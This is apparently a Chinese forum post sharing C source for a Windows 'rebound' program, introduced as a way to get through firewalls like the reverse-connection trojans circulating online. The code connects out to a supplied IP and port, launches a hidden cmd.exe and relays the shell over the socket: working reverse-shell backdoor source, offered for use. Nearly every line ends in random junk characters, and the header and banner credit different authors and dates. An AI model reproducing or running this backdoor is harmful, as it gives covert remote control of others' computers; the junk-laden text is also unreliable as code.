这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oL/o*^
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/* ============================== {g/wY%u=
Rebound port in Windows NT v@ONo?)
By wind,2006/7 a
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===============================*/ &J"YsY
#include h\,5/ )Y
#include %/0gWG
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#pragma comment(lib,"wsock32.lib") >L2*CV3p
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void OutputShell(); D#sf i,O
SOCKET sClient; ].DY"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ((3t:
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void main(int argc,char **argv) ~
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{ {ctwo X[;
WSADATA stWsaData; #t71U a
int nRet; RJJ1
SOCKADDR_IN stSaiClient,stSaiServer; sV0Z
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if(argc != 3) <4F7@q,V
{ ;:#U6?=t
printf("Useage:\n\rRebound DestIP DestPort\n"); c]Unbm^w
return; {V2bU}5
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} !Cj(A"uqY
}6~)bLzI}
WSAStartup(MAKEWORD(2,2),&stWsaData); KvFR8s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |i)lh_iN
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stSaiClient.sin_family = AF_INET; <A~GW
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stSaiClient.sin_port = htons(0); e&J3N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9$tl00
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6c\DJD
{ :zL 393(
printf("Bind Socket Failed!\n"); hjY0w
return; l=Wd,$\
} \ZnN D1A
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stSaiServer.sin_family = AF_INET; Fn,k!q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vnsSy 33K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (DJvi6\H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ' Js?N
{ eOrYa3hQ
printf("Connect Error!"); QP\yaPE
return; J~J@ ]5/
} N_vXYaY
OutputShell(); ;/Q6i
} AUAI3K?
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void OutputShell() R<&FhT]
{ )1_(>|@oi
char szBuff[1024]; u( 9X
SECURITY_ATTRIBUTES stSecurityAttributes; GoeIjuELR
OSVERSIONINFO stOsversionInfo; k}BDA|\s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]bfqcmh<
STARTUPINFO stStartupInfo; N$'>XtO
char *szShell; b[g.}'^yht
PROCESS_INFORMATION stProcessInformation; kME^tpji
unsigned long lBytesRead; rA#s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;5M<j3_*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *]!l%Uf%
stSecurityAttributes.lpSecurityDescriptor = 0; (UzPkl kZ
stSecurityAttributes.bInheritHandle = TRUE; iBHw[X,b
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;f(n.i
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =jUnM>23
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0ny{)Sd6um
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V Cf|`V~ G
stStartupInfo.wShowWindow = SW_HIDE; K`gc 4:A
stStartupInfo.hStdInput = hReadPipe; l:z};
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FQ## 397
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GetVersionEx(&stOsversionInfo); ;Vo mFp L
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switch(stOsversionInfo.dwPlatformId) `e*61k5
{ [0op)Kn
case 1: a 2E t,WA%
szShell = "command.com"; a>(~ C'(<
break; Gt'/D>FE0
default: U9F6d!:L7A
szShell = "cmd.exe"; qL>v&Rd<
break; 'fl(N2t
} RO$*G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); paYz[Xq
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send(sClient,szMsg,77,0); vrO%XvXW
while(1) ]Da4.s*mW
{ ~ a>S#S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dgY5ccP
if(lBytesRead) ecT]p
{ "s;ci~$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }#|2z}!
send(sClient,szBuff,lBytesRead,0); [k~C+FI
} z"3H{ A
else .)0gz!Z
{ e#m1X6$.e
lBytesRead=recv(sClient,szBuff,1024,0); `OLB';D
if(lBytesRead<=0) break; ?Hk.|5A}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D9G0k[D,
} 85Dm8~
} /gX%ABmS
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return; 5E.vje{U;
}